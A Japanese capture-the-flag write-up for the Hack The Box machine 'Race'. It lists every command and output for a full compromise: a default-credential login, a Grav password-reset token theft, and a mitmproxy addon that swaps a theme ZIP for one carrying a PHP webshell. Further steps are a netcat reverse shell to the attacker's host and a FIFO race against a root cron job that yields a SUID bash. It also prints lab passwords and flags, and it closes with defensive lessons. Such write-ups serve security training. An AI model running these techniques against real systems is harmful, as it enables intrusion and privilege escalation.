Hack The BoxのWriteup(Race)[High]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Race — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http のみ
→
phpsysinfo 弱いBasic認証
admin:admin → backup資格情報漏洩
→
Grav パスワードリセット TOCTOU
forgot直後にbackupを再取得しトークン窃取
→
GPM プロキシ MITM
mitmdumpでテーマZIPを悪意あるものへ差替
→
Webシェル RCE → max 横移動
user.txt ✓
→
secure-cron-runner.sh の MD5 TOCTOU
named pipe で検証と実行を分離
→
SUID root シェル
root.txt ✓
PHASE 1
  1. 偵察 (Reconnaissance)
    1. ポートスキャン
    2. Webルート確認 — /racers/ へのリダイレクト
    3. phpsysinfo エンドポイントの発見
  2. phpsysinfo 弱いBasic認証による資格情報漏洩
    1. admin:admin でログイン成功
    2. ps プラグインでプロセス一覧を取得
    3. backup 資格情報は Grav 管理画面でも有効
  3. Grav パスワードリセット TOCTOU による管理者権限奪取
    1. Grav 管理画面へのログイン (backup ユーザー)
    2. 脆弱性の原理 — Grav LoginController のソース確認
    3. patrick のパスワードリセットを要求 (forgot)
    4. 即座にバックアップを再取得しトークンを回収
    5. トークンを使ってパスワードをリセット
  4. GPM プロキシ MITM によるテーマ RCE & user.txt 取得
    1. 攻略方針 — サーバーはインターネットに直接接続できない
    2. プロキシ設定の保存
    3. 悪意あるテーマ ZIP の作成
    4. mitmdump アドオンの起動
    5. テーマインストールの発火
    6. Webシェルで RCE → リバースシェル
    7. max への横移動 — offsite-backup.sh のハードコードパスワード
  5. 権限昇格の下調べ — secure-cron-runner.sh の MD5 検証
    1. race-scripts ディレクトリの確認
    2. secure-cron-runner.sh のソース確認
  6. named pipe (FIFO) による TOCTOU 競合 → root.txt
    1. 攻撃の原理 — FIFO でチェックと実行を決定論的に分離
    2. FIFO の設置
    3. root cron が FIFO 読み込みでブロックするのを待機
    4. ブロック中に差し替えを完了させる
    5. root.txt 取得
  7. 攻略サマリー & 教訓
    1. 取得フラグ
    2. 使用した脆弱性
    3. 攻撃チェーン全体の流れ
    4. 学んだ教訓 & 防御策

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.80.188
RESULT
Not shown: 65510 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 136.38 seconds
BASH
nmap -sV -sC -p 22,80 10.129.80.188
RESULT
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
開放ポートはわずか2つのみ。22/tcp (SSH) と 80/tcp (HTTP) に絞って調査を進める。

Webルート確認 — /racers/ へのリダイレクト

BASH
curl -s -L --max-time 10 http://10.129.80.188/
RESULT
<html>
<head>
<meta http-equiv="refresh" content="0; url=/racers/" />
</head>
<body>
Please see the <a href="/racers/">racers</a>.
</body>
</html>
BASH
whatweb -a 3 http://10.129.80.188 --log-brief=-
RESULT
http://10.129.80.188/racers/ [200 OK] Apache[2.4.52],
Cookies[grav-site-09f1269], Email[fast@race.vl], HTML5,
HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], JQuery,
MetaGenerator[GravCMS], ...
🚨
重要発見: /racers/ は Grav CMS 製のサイト。 管理画面は Grav の慣習から /racers/admin に存在すると推測できる。

phpsysinfo エンドポイントの発見

BASH
curl -s -o /dev/null -w "%{http_code}\n" http://10.129.80.188/phpsysinfo/
RESULT
401  (Basic認証が要求される)
ℹ️
/phpsysinfo はシステム情報表示ツール phpSysInfo のエンドポイント。 Basic認証で保護されているが、後述の通り既定値の弱いパスワードで突破可能。
PHASE 2

phpsysinfo 弱いBasic認証による資格情報漏洩

admin:admin でログイン成功

BASH
curl -s -u admin:admin http://10.129.80.188/phpsysinfo/ -o /dev/null -w "%{http_code}\n"
RESULT
200  (admin:admin という典型的な既定値の組み合わせで認証突破)
⚠️
トップページ(/phpsysinfo/)はJS経由で各情報セクションを非同期取得するSPA構成のため、 プロセス一覧自体はそこには含まれていない。実際のプロセスデータは下記の ps プラグイン エンドポイントから取得する必要がある。

ps プラグインでプロセス一覧を取得

BASH
curl -s -u admin:admin "http://10.129.80.188/phpsysinfo/xml.php?plugin=ps"
RESULT (抜粋・整形)
<Process PID="997" ... Name="/usr/sbin/cron -f -P"/>
<Process PID="12670" ... Name="/usr/sbin/CRON -f -P"/>
<Process PID="12671" ... Name="/bin/sh -c /usr/local/bin/secure-cron-runner.sh &gt;/dev/null 2&gt;/dev/null"/>
<Process PID="12672" ... Name="/usr/bin/bash /usr/local/bin/secure-cron-runner.sh"/>
<Process PID="12676" ... Name="/usr/bin/bash /usr/local/share/race-scripts/offsite-backup.sh"/>
<Process PID="12677" ... Name="/usr/bin/curl --insecure --connect-timeout 60 -u backup:Wedobackupswithsecur3password5.Noonecanhackus! -T /var/www/html/racers/backup/ sftp://offsite-backup.race.vl/backups/"/>
🚨
重大な情報漏洩: root cron が定期実行している offsite-backup.sh の 実コマンドライン全体(backup ユーザーの平文パスワード付き)がプロセス一覧経由で丸見えになっている。
漏洩した資格情報
backup:Wedobackupswithsecur3password5.Noonecanhackus!
さらにこのプロセス一覧は secure-cron-runner.sh という権限昇格フェーズで核心となる スクリプト名も同時に教えてくれている(Phase 5で詳述)。

backup 資格情報は Grav 管理画面でも有効

NOTE
/racers/admin のログインフォームに backup:Wedobackupswithsecur3password5.Noonecanhackus!
を入力すると認証に成功する。ただしこの backup アカウントは Grav 管理画面上では
「バックアップの作成・ダウンロード」権限のみを持つ限定アカウントであり、
テーマ/プラグインのインストールなどフル管理者権限が必要な操作はできない。
PHASE 3

Grav パスワードリセット TOCTOU による管理者権限奪取

Grav 管理画面へのログイン (backup ユーザー)

PYTHON (requests)
import requests
s = requests.Session()

# ログインnonce取得 (素のHTMLフォームの隠しフィールド "login-nonce")
r = s.get("http://10.129.80.188/racers/admin")
nonce = re.search(r'name=["\']login-nonce["\']\s+value=["\']([a-f0-9]+)["\']', r.text).group(1)

s.post("http://10.129.80.188/racers/admin", data={
    "data[username]": "backup",
    "data[password]": "Wedobackupswithsecur3password5.Noonecanhackus!",
    "login-nonce": nonce,
    "task": "login",
})
RESULT
login post status: 303  (ダッシュボードへリダイレクト = ログイン成功)
Dashboard in check: True   logout in check: True
ℹ️
Grav管理フォームの input name 属性は data[username] / data[password] というネスト形式(Gravのデータ命名規則)。CSRF対策の login-nonce はページ埋め込みの 隠しフィールドから毎回取得し直す必要がある。

脆弱性の原理 — Grav LoginController のソース確認

NOTE
Gravのパスワードリセット機構(grav-plugin-login の LoginController.php)は、
「リセット要求」を受け取ると、確認メールの送信を待たずに
即座にユーザーYAMLファイル(user/accounts/<username>.yaml)へ
reset トークンを書き込む設計になっている:

  reset: '<token>::<expire_epoch>'

つまり、メールの受信箱を確認できなくても、サーバー側のファイルシステム上の
reset フィールドさえ読み取れれば、本人になりすましてパスワードリセットを
完了できる。backup ユーザーには「サイトのバックアップZIPをダウンロードする」
権限があり、このバックアップZIPにはサイト全体のソースコード + 全ユーザーの
YAMLファイル(当然 reset フィールドも含む)がまるごと梱包されている。

→ 「patrickのパスワードリセットを要求」した“直後”に「バックアップを取得」
  すれば、書き込まれたばかりの reset トークンをTOCTOU的に盗み出せる。

patrick のパスワードリセットを要求 (forgot)

PYTHON
# 重要: /admin/forgot はログイン済みセッションからは403になる。
# backupでログイン済みの"s"とは別の、未認証の新規セッションを使う。
fs = requests.Session()
r = fs.get("http://10.129.80.188/racers/admin/forgot")
fnonce = re.search(r'name=["\']login-nonce["\']\s+value=["\']([a-f0-9]+)["\']', r.text).group(1)

fs.post("http://10.129.80.188/racers/admin/forgot", data={
    "data[username]": "patrick",   # メールアドレスではなくユーザー名を指定
    "login-nonce": fnonce,
    "task": "forgot",
})
RESULT
{"code":303,"status":"redirect","redirect":"http:\/\/10.129.80.188\/racers\/admin\/login"}

即座にバックアップを再取得しトークンを回収

PYTHON (backupセッション”s”を使用)
# ダッシュボードHTML内のJS変数からAJAX用nonce(admin-nonce)を取得
dash = s.get("http://10.129.80.188/racers/admin")
admin_nonce = re.search(r"admin_nonce:\s*'([a-f0-9]+)'", dash.text).group(1)

# バックアップ実行タスク(".json"付きエンドポイントへPOST)
r = s.post("http://10.129.80.188/racers/admin.json/task:backup",
           data={"admin-nonce": admin_nonce},
           headers={"X-Requested-With": "XMLHttpRequest"})
data = r.json()
RESULT
{'status': 'success',
 'message': 'Your backup is ready for download. <a href="/racers/admin/task:backup/
download:L3Zhci93d3cvaHRtbC9yYWNlcnMvYmFja3VwL2RlZmF1bHRfc2l0ZV9iYWNrdXAtLTIwMjYxMDEzMDAyODQzLnppcA%3D%3D/
admin-nonce:29070eed769c97d7aaa6a3b678c990d2" class="button">Download backup</a>'}
PYTHON (ZIPダウンロード&展開)
dr = s.get(download_url)   # 約20MB
with zipfile.ZipFile(io.BytesIO(dr.content)) as z:
    content = z.read("user/accounts/patrick.yaml").decode()
RESULT (patrick.yaml 抜粋)
state: enabled
email: patrick@race.vl
fullname: 'Patrick P. Rick'
access:
  admin:
    login: true
    super: false
    themes: true          # ← テーマインストール権限あり(重要)
hashed_password: $2y$10$lLZmYZi1i3LEYPaXaBiMUutcVEBhYSaBobAh9atoZCTPyuLfGG/X.
reset: 'bad0afb5d9409d5e70134a08f0622bc8::1791854922'
✅
書き込まれたばかりの reset トークン bad0afb5d9409d5e70134a08f0622bc8 を回収できた。 patrick は themes: true を持つため、奪取できればテーマインストールが可能になる。

トークンを使ってパスワードをリセット

PYTHON (forgot_session “fs” を継続使用)
reset_path = "/racers/admin/reset/u/patrick/bad0afb5d9409d5e70134a08f0622bc8"
rnonce = get_nonce(fs, reset_path)

fs.post(f"http://10.129.80.188{reset_path}", data={
    "data[username]": "patrick",
    "data[password]": "P@triciaR3set!2026xSecurePass999!",
    "data[token]": "bad0afb5d9409d5e70134a08f0622bc8",
    "login-nonce": rnonce,
    "task": "reset",
})
RESULT
reset post status: 303 → /racers/admin/reset/u/patrick/<token>
その後 patrick:P@triciaR3set!2026xSecurePass999! で明示的ログイン
→ Dashboard: True logout: True
⚠️
Gravのパスワードポリシーは 32文字以上 を要求する。 短いパスワードを指定すると303でリセットページへ静かに再送されるだけで失敗する。
✅
patrick のフル管理者権限を奪取。 以降のテーマインストール操作は すべてこの patrick セッションで行う(backup ユーザーには権限が無いため)。
PHASE 4

GPM プロキシ MITM によるテーマ RCE & user.txt 取得

攻略方針 — サーバーはインターネットに直接接続できない

NOTE
patrick はテーマ/プラグインのインストール権限を持つが、このサーバーは
インターネットへ直接アクセスできない(アウトバウンド制限)。
Grav の設定(Configuration → System → HTTP)には "Enable Proxy Server" が
用意されており、ここに攻撃者(Kali)上で動かす mitmdump を指定すれば、
Grav が GPM(Grav Package Manager)経由で getgrav.org へ送るテーマ取得
リクエストを、すべて自分の中間者プロキシ経由にできる。
mitmdump 側で実際のZIP取得リクエストだけを横取りし、302リダイレクトで
攻撃者が用意した悪意あるZIPへすり替える。

プロキシ設定の保存

PYTHON (patrickセッション)
cnonce = get_nonce(patrick_session, "/racers/admin/config/system")

patrick_session.post("http://10.129.80.188/racers/admin/config/system/task:save", data={
    "data[http][enable_proxy]": "1",
    "data[http][proxy_url]": "10.10.15.200:18899",   # Kali上のmitmdump
    "data[http][verify_peer]": "0",
    "data[http][verify_host]": "0",
    "admin-nonce": cnonce,
})
RESULT
proxy save status: 200
proxy_url present in page: True  (設定が正しく保存されたことを再取得して確認)
ℹ️
ログイン用nonceとは別に、管理ダッシュボード配下の各ページ(config/system・themes・ backup task等)はページ埋め込みJS変数 window.GravAdmin.config.admin_nonce を admin-nonce フィールド名でPOSTする必要がある。

悪意あるテーマ ZIP の作成

BASH
git clone --depth 1 https://github.com/getgrav/grav-theme-photographer.git

echo '<IfModule mod_rewrite.c>
RewriteEngine Off
</IfModule>' > grav-theme-photographer/img/.htaccess

echo '<?php echo system($_GET[0]); ?>' > grav-theme-photographer/img/cmd.php

zip -r pwn.zip grav-theme-photographer -x "grav-theme-photographer/.git/*"
⚠️
落とし穴: Grav のInstaller::unZip()は zip内の 「エントリ0(central directory先頭)」をそのまま抽出先フォルダ名として使う実装になっている。 zip コマンド(上記)はディレクトリエントリを自動生成しエントリ0を確実に フォルダ(grav-theme-photographer/)にしてくれるが、仮に Python の zipfile.write()でファイルだけを個別追加するような作り方をすると ディレクトリエントリが存在せずエントリ0が最初のファイル(.gitignore等)に なってしまい、Gravがそれをフォルダと誤認してインストールが静かに全滅する。 必ず zip -r のようにディレクトリエントリ付きで固めること。
NOTE — img/.htaccess が必要な理由
Gravのルート.htaccessには以下のルールがあり、user/配下のPHPへの
直接アクセスを拡張子ベースでブロックしている(確認: getgrav/grav 公式.htaccess):

  RewriteRule ^(user)/(.*)\.(...|php|phtml|...)$ error [F,NC]

この RewriteRule はディレクトリ/ファイルの実在チェックを伴わない
純粋なパス+拡張子マッチのため、cmd.php を配置しただけでは403になる。
テーマのimg/ディレクトリに "RewriteEngine Off" を書いたローカル.htaccessを
同梱しておくことで、そのディレクトリ配下だけmod_rewriteの継承ルールを
無効化し、親ディレクトリのブロックルールを回避できる。

mitmdump アドオンの起動

PYTHON (race_mitm_addon.py)
import re
from mitmproxy import http

REDIRECT_URL = "http://10.10.15.200:8001/pwn.zip"
MATCH_HOST = "getgrav.org"
MATCH_PATH_RE = re.compile(r'^/download/(themes|plugins)/')

def response(flow: http.HTTPFlow) -> None:
    if MATCH_HOST in flow.request.pretty_host and MATCH_PATH_RE.match(flow.request.path):
        flow.response = http.Response.make(302, b'', {'Location': REDIRECT_URL})
BASH
# ターミナル1: 中間者プロキシ
mitmdump -s race_mitm_addon.py -p 18899

# ターミナル2: 悪意あるZIP配布用の簡易HTTPサーバー
python3 -m http.server 8001 --directory ./scripts
⚠️
正規表現は ^/download/(themes|plugins)/ と厳密にする必要がある。 緩い部分一致("/download" in path)にすると、パッケージ一覧取得用の /downloads/themes.json(素通ししなければならない)まで誤って302書き換えして しまい、GPMがパッケージ情報自体を取得できなくなる。

テーマインストールの発火

PYTHON (patrickセッション)
inonce = get_nonce(patrick_session, "/racers/admin/themes")

patrick_session.post("http://10.129.80.188/racers/admin/themes.json/task:installPackage",
    data={"package": "aerial", "admin-nonce": inonce},
    headers={"X-Requested-With": "XMLHttpRequest"})
RESULT (mitmdump ログ)
[client connect] 10.129.80.188
[server connect] getgrav.org:443
MITM SEEN: getgrav.org /download/themes/aerial/1.5.2
MITM REDIRECTING to http://10.10.15.200:8001/pwn.zip
10.129.80.188: GET https://getgrav.org/download/themes/aerial/1.5.2 HTTP/2.0
         << HTTP/1.1 302 Found 0b
RESULT (installPackage レスポンス)
{"status":"success","message":"Package aerial reinstalled successfully"}
ℹ️
インストール対象には “aerial” を選ぶ。 “aerial” は Grav に標準バンドルされている デフォルトテーマのため常に存在し、task:installPackageが確実に成功する。 逆に非バンドルのテーマ名を指定すると、インストール先ディレクトリの初回作成に失敗する (“Unable to create directory”)ことがある。
なお GPM の仕様上、取得元ZIPの内部フォルダ名とインストール先スラグ名が 一致している必要はない(Grav はZIPの中身をスラグ名のフォルダへ単純に move するだけ)。そのためZIPの中身自体は grav-theme-photographer のまま でよく、”aerial” というスロットへWebシェルを送り込める。

Webシェルで RCE → リバースシェル

BASH
curl -s "http://10.129.80.188/racers/user/themes/aerial/img/cmd.php?0=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
BASH
# ターミナル3: リバースシェル用リスナー
nc -lnvp 1337

# リバースシェルをWebシェル経由でトリガー
curl -s "http://10.129.80.188/racers/user/themes/aerial/img/cmd.php?0=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.15.200+1337+>/tmp/f"
RESULT
listening on [any] 1337 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.80.188] 50184
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

max への横移動 — offsite-backup.sh のハードコードパスワード

BASH
curl -s "http://10.129.80.188/racers/user/themes/aerial/img/cmd.php?0=cat+/usr/local/share/race-scripts/offsite-backup.sh"
RESULT
#!/usr/bin/bash

OFFSITE_HOST="offsite-backup.race.vl"
SOURCE_DIR="/var/www/html/racers/backup/"
# Disabled USER/PASS for security reasons. Will be provided via environment from cron.
# OFFSITE_USER="max"
# OFFSITE_PASS="ruxai0GaemaS1Rah"
/usr/bin/curl --insecure --connect-timeout 60 -u $OFFSITE_USER:$OFFSITE_PASS -T $SOURCE_DIR sftp://$OFFSITE_HOST/backups/
🚨
本番では環境変数経由で渡す設計にしたつもりが、コメントアウトされた行に 平文パスワードがそのまま残置されている典型的な「秘密情報のコメントアウト漏洩」。 www-data はこのファイルを読み取り専用で参照できる。
BASH
ssh max@10.129.80.188
# パスワード: ruxai0GaemaS1Rah

max@race:~$ cat /home/max/user.txt
RESULT
uid=1001(max) gid=1001(max) groups=1001(max),1002(racers)
58e7207db0467cbcbae32918d20c9cbd
user.txt — max
58e7207db0467cbcbae32918d20c9cbd
PHASE 5

権限昇格の下調べ — secure-cron-runner.sh の MD5 検証

race-scripts ディレクトリの確認

BASH
max@race:~$ ls -la /home/max/
max@race:~$ ls -la /home/max/race-scripts/
max@race:~$ ls -la /usr/local/share/race-scripts/
RESULT
lrwxrwxrwx 1 max  max    29 Dec  9  2023 race-scripts -> /usr/local/share/race-scripts

drwxrwsr-x 3 root racers 4096 Dec  9  2023 .     ← setgid、racersグループ書込可
drwxr-sr-x 2 root racers 4096 Dec  9  2023 backup
-rwxr-xr-x 1 root root    361 Dec  5  2023 offsite-backup.sh
ℹ️
race-scripts ディレクトリは root:racers 所有で setgid (s) + グループ書き込み可(drwxrwsr-x)。max は racers グループのメンバーのため、 offsite-backup.sh ファイル自体の所有者は root であってもこのディレクトリ内での rename/削除は可能(ファイル自身ではなくディレクトリへの書込権限で決まるPOSIX仕様)。

secure-cron-runner.sh のソース確認

BASH
max@race:~$ cat /usr/local/bin/secure-cron-runner.sh
RESULT
#!/usr/bin/bash

. /root/conf/secure-cron-runner.env

declare -a scripts
declare -a sigs

## 0 = offsite-backup by max
scripts[0]="/usr/local/share/race-scripts/offsite-backup.sh"
sigs[0]="d15804b944b40ca8540d37ed6bd80906"

elems=${#scripts[@]}

for (( j=0; j<${elems}; j++ )) ; do
  sig=$(/usr/bin/md5sum ${scripts[$j]} | awk '{print $1}')
  if [[ "x$sig" == "x${sigs[$j]}" ]] ; then
    # echo "Script is safe. Running it." >> /var/log/secure-cron-runner.log
    ${scripts[$j]}
  else
    :
  fi
done
🚨
典型的な TOCTOU (Time-Of-Check to Time-Of-Use) 脆弱性。 md5sum によるハッシュ「検証」(Check)と、${scripts[$j]} による 実際の「実行」(Use)が別々の2ステップに分かれている。この2ステップの間に ファイルの中身をすり替えられれば、検証は正規の内容に対して成立させつつ、実行だけは 差し替え後の悪意あるスクリプトにすることができる。root cron がこのスクリプトを 定期実行することは Phase 2 の phpsysinfo プロセス一覧で既に確認済み。
PHASE 6

named pipe (FIFO) による TOCTOU 競合 → root.txt

攻撃の原理 — FIFO でチェックと実行を決定論的に分離

NOTE
単純に「ハッシュ検証後、実行前の一瞬にファイルを書き換える」というのは
運任せの競合(レースコンディション)になってしまう。named pipe (FIFO) を使うと
このタイミングを完全に制御下に置ける:

  1. 正規の offsite-backup.sh を .bak へ退避し、同じファイル名でFIFOを作成する
     (mknod offsite-backup.sh p)。
  2. root cron が発火すると、md5sum がこのFIFOを "読み込もう" とする。
     FIFOは書き込み側が現れるまで読み込みを永遠にブロックする
     → cronのプロセスがこの瞬間、強制的に静止する。
  3. ブロック中(こちらの時間は無制限にある)に、FIFO自体を別名 "s" へ
     退避し、"offsite-backup.sh" という名前を悪意あるスクリプト用に空ける。
  4. /bin/bash を /tmp/hello へ SUIDコピーするだけの shell.sh を
     "offsite-backup.sh" という名前で設置する。
  5. 退避しておいた .bak (正規の中身)を "s" (= 元のFIFO)へ書き込む。
     これでブロックしていた md5sum がようやく読み込みを完了し、
     「正規の内容」に対する正しいハッシュを算出する。
  6. しかし実行フェーズ ${scripts[$j]} は “今その名前を持つファイル”
     (= 差し替え済みの悪意あるスクリプト)を実行する。
     ハッシュ検証は正規内容に対して成立するが、実行されるのは別物。

FIFO の設置

BASH (max として SSH)
max@race:~$ cd /home/max/race-scripts
max@race:~/race-scripts$ cat > shell.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/hello
chmod 6777 /tmp/hello
EOF
max@race:~/race-scripts$ chmod +x shell.sh
max@race:~/race-scripts$ mv offsite-backup.sh offsite-backup.sh.bak
max@race:~/race-scripts$ mknod offsite-backup.sh p
max@race:~/race-scripts$ ls -la
RESULT
drwxrwsr-x 3 root racers 4096 .
prw-rw-r-- 1 max  racers    0 offsite-backup.sh   ← FIFO (p)
-rwxr-xr-x 1 root root    361 offsite-backup.sh.bak
-rwxrwxr-x 1 max  racers   58 shell.sh

root cron が FIFO 読み込みでブロックするのを待機

BASH
# 固定sleepではなく、md5sumプロセスが実際にブロックしていることを
# ポーリングで直接検知する(cronの実行間隔は不明なため)
while true; do
  pid=$(ssh max@10.129.80.188 "pgrep -f 'md5sum .*offsite-backup.sh' | head -1")
  [ -n "$pid" ] && echo "BLOCKED: pid=$pid" && break
  sleep 10
done
RESULT
BLOCKED: md5sum pid=12175
✅
実機確認: このターゲットの root cron は非常に短い間隔(10〜20秒程度)で secure-cron-runner.sh を実行しており、ほぼ待たずにブロック状態を検知できた。

ブロック中に差し替えを完了させる

BASH
max@race:~/race-scripts$ mv offsite-backup.sh s
max@race:~/race-scripts$ cp shell.sh offsite-backup.sh
max@race:~/race-scripts$ chmod +x offsite-backup.sh
max@race:~/race-scripts$ cat offsite-backup.sh.bak >> s
# ↑ この瞬間、ブロックしていたmd5sumの読み込みが完了し処理が進む
BASH
max@race:~/race-scripts$ ls -la /tmp/hello
RESULT
-rwsrwsrwx 1 root root 1396520 /tmp/hello
✅
root所有のSUID/SGID付き /bin/bash コピーが生成された。 ハッシュ検証は正規スクリプトの内容に対して通過しているにも関わらず、 実際に実行されたのは差し替え後の shell.sh であることが root権限で /tmp/hello が生成された事実から証明される。

root.txt 取得

BASH
max@race:~/race-scripts$ /tmp/hello -p -c 'id; cat /root/root.txt'
RESULT
uid=1001(max) gid=1001(max) euid=0(root) egid=0(root) groups=0(root),1001(max),1002(racers)
99e4106e8b062a67ba7aadd1ce6e84eb
root.txt — root
99e4106e8b062a67ba7aadd1ce6e84eb
ℹ️
-p オプション(bashの「特権モード保持」フラグ)を付けずに /tmp/hello を 実行すると、setuid/setgidビットが付いていても bash は実効UID/GIDを自動的に実UIDへ 落としてしまう(bashの自己防衛機構)ため、root権限を維持するには明示的に -p を指定する必要がある。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — max
58e7207db0467cbcbae32918d20c9cbd
root.txt — root
99e4106e8b062a67ba7aadd1ce6e84eb

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
弱いBasic認証既定値 phpsysinfo (/phpsysinfo) 内部資格情報・システム情報の漏洩 Medium admin:admin で認証突破、psプラグインのプロセス一覧からbackupユーザーの平文パスワードが露出
パスワードリセット TOCTOU Grav CMS (grav-plugin-login) 任意ユーザーへのなりすまし・権限昇格 High リセット要求直後にバックアップZIPを再取得しYAML内のresetトークンを窃取、フル管理者権限のpatrickを乗っ取り
GPMプロキシ経由の任意テーマRCE Grav CMS 管理パネル (GPM) リモートコード実行 (www-data) Critical system.http.proxy_url を自前のmitmdumpへ向け、テーマダウンロード応答のみを悪意あるZIPへ302リダイレクトしWebシェル設置
ハードコードされた平文認証情報 offsite-backup.sh 水平権限昇格 (www-data → max) Medium コメントアウトされた行に残された max の平文パスワードでSSHログイン
cronスクリプトのMD5検証 TOCTOU secure-cron-runner.sh (root cron) 垂直権限昇格 (max → root) Critical named pipe (FIFO) でハッシュ検証と実行の間を決定論的にブロックさせ、検証通過後にスクリプト内容をすり替えてSUID rootシェルを取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap全ポート + バージョンスキャン22/ssh, 80/http のみ、/racers/ へのGrav CMSリダイレクト
2資格情報漏洩phpsysinfo弱いBasic認証(admin:admin)backup:Wedobackupswithsecur3password5.Noonecanhackus!
3TOCTOUリセットforgot直後のバックアップ再取得でresetトークン窃取patrickのフル管理者権限
4GPM MITMmitmdumpプロキシでテーマZIPをすり替えuser.txt(max へ横移動)
5権限調査secure-cron-runner.shのMD5検証ロジック発見TOCTOU脆弱性の特定
6named pipe競合FIFOでチェック/実行のタイミングを完全制御root.txt(SUID /tmp/hello)

学んだ教訓 & 防御策

問題点防御策
phpsysinfoがBasic認証の既定値(admin:admin)のまま運用されていた 内部管理ツールであっても強固なパスワードを強制する。プロセス一覧に認証情報を含むコマンドラインが残らないよう、環境変数経由での認証情報受け渡しを徹底する。
Gravのパスワードリセットがメール送信前にトークンをファイルへ書き込む設計 トークンの書き込みとメール送信を同一トランザクションで扱うか、少なくともバックアップ取得等の読み取り可能な経路からトークンが露出しないよう暗号化/短命化する。
限定権限アカウント(backup)が持つ「バックアップ取得」機能が機密ファイル(ユーザーYAML)を無差別に含めていた バックアッププロファイルの除外パス設定で認証情報・トークン等の機密ファイルをデフォルト除外する。
GPMのプロキシ設定を管理者が自由に変更でき、かつ証明書検証無効化オプションまで存在する プロキシ設定の変更を監査ログに記録し、Remote Verify Peer/Hostを強制的にON、変更には追加の多要素認証を要求する。
バックアップスクリプトに平文パスワードがコメントアウトされた形で残置 コメントアウトは秘匿ではない。秘密情報は必ずVaultやsystemd credentialsのような専用の機構で管理し、スクリプトファイル自体から完全に排除する。
root cronジョブがMD5ハッシュの「検証」と「実行」を別ステップで行うTOCTOU設計 検証と実行をアトミックに行う(ファイルディスクリプタを1回だけopenしその内容に対してハッシュ計算と実行を両方行う)。書き込み可能なディレクトリに置かれたスクリプトをrootが実行する設計自体を避ける。
HackTheBox: Race | 完全攻略レポート